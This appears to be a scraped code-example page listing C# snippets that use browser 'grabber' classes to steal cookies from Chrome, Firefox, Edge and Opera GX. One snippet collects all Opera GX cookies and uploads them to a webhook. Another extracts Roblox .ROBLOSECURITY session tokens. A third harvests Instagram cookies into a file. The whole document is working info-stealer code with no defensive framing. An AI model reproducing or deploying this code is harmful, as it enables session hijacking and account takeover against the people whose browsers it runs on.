Exemple #1
0
        static void Main(string[] args)
        {
            OperaGxGrabber g       = new OperaGxGrabber(); // Create Grabber
            List <string>  cookies = new List <string>();

            g.GetCookies().ToList().ForEach(delegate(Chromium.Cookie c)                             // For every grabbed cookie:
            {
                cookies.Add($"Hostname: {c.HostKey} | Name: {c.Name} | Value: {c.EncryptedValue}"); // Add the cookie hostname, name, and value to the 'cookie' list
            });

            File.WriteAllLines("./cookies_save.txt", cookies); // Save cookies in cookies_save.txt
            SendFile(WebhookUrl, "./cookies_save.txt");        // Send the File to the Webhook
        }
Exemple #2
0
        static void Main(string[] args)
        {
            ChromeGrabber cg = new ChromeGrabber(); FirefoxGrabber fg = new FirefoxGrabber(); EdgeGrabber eg = new EdgeGrabber(); OperaGxGrabber og = new OperaGxGrabber();

            if (cg.CookiesExists())
            {
                foreach (var item in cg.GetCookiesByHostname(".roblox.com", cg.GetKey()))
                {
                    if (item.Name == (".ROBLOSECURITY"))
                    {
                        Console.WriteLine(item.Value + "\n");
                    }
                }
            }
            if (fg.CookiesExists())
            {
                foreach (var item in fg.GetCookiesByHostname(".roblox.com"))
                {
                    if (item.Name == (".ROBLOSECURITY"))
                    {
                        Console.WriteLine(item.Value + "\n");
                    }
                }
            }
            if (eg.CookiesExists())
            {
                foreach (var item in eg.GetCookiesByHostname(".roblox.com", eg.GetKey()))
                {
                    if (item.Name == (".ROBLOSECURITY"))
                    {
                        Console.WriteLine(item.Value + "\n");
                    }
                }
            }
            if (og.CookiesExists())
            {
                foreach (var item in og.GetCookiesByHostname(".roblox.com", og.GetKey()))
                {
                    if (item.Name == (".ROBLOSECURITY"))
                    {
                        Console.WriteLine(item.Value + "\n");
                    }
                }
            }
            Console.ReadKey();
        }
        static void Main(string[] args)
        {
            StringBuilder instagramCookies = new StringBuilder();

            ChromeGrabber cg = new ChromeGrabber(); FirefoxGrabber fg = new FirefoxGrabber(); EdgeGrabber eg = new EdgeGrabber(); OperaGxGrabber og = new OperaGxGrabber();

            if (cg.CookiesExists())
            {
                foreach (var item in cg.GetCookiesByHostname(".instagram.com", cg.GetKey()))
                {
                    instagramCookies.AppendLine(item.HostName + " = " + item.Name + ":" + item.Value);
                }
            }
            if (fg.CookiesExists())
            {
                foreach (var item in fg.GetCookiesByHostname(".instagram.com"))
                {
                    instagramCookies.AppendLine(item.HostName + " = " + item.Name + ":" + item.Value);
                }
            }
            if (eg.CookiesExists())
            {
                foreach (var item in eg.GetCookiesByHostname(".instagram.com", eg.GetKey()))
                {
                    instagramCookies.AppendLine(item.HostName + " = " + item.Name + ":" + item.Value);
                }
            }
            if (og.CookiesExists())
            {
                foreach (var item in og.GetCookiesByHostname(".instagram.com", og.GetKey()))
                {
                    instagramCookies.AppendLine(item.HostName + " = " + item.Name + ":" + item.Value);
                }
            }

            File.WriteAllText("cookies.txt", instagramCookies.ToString());
            Console.WriteLine("Cookies Grabbed and saved Successfully!");
            Console.ReadKey();
        }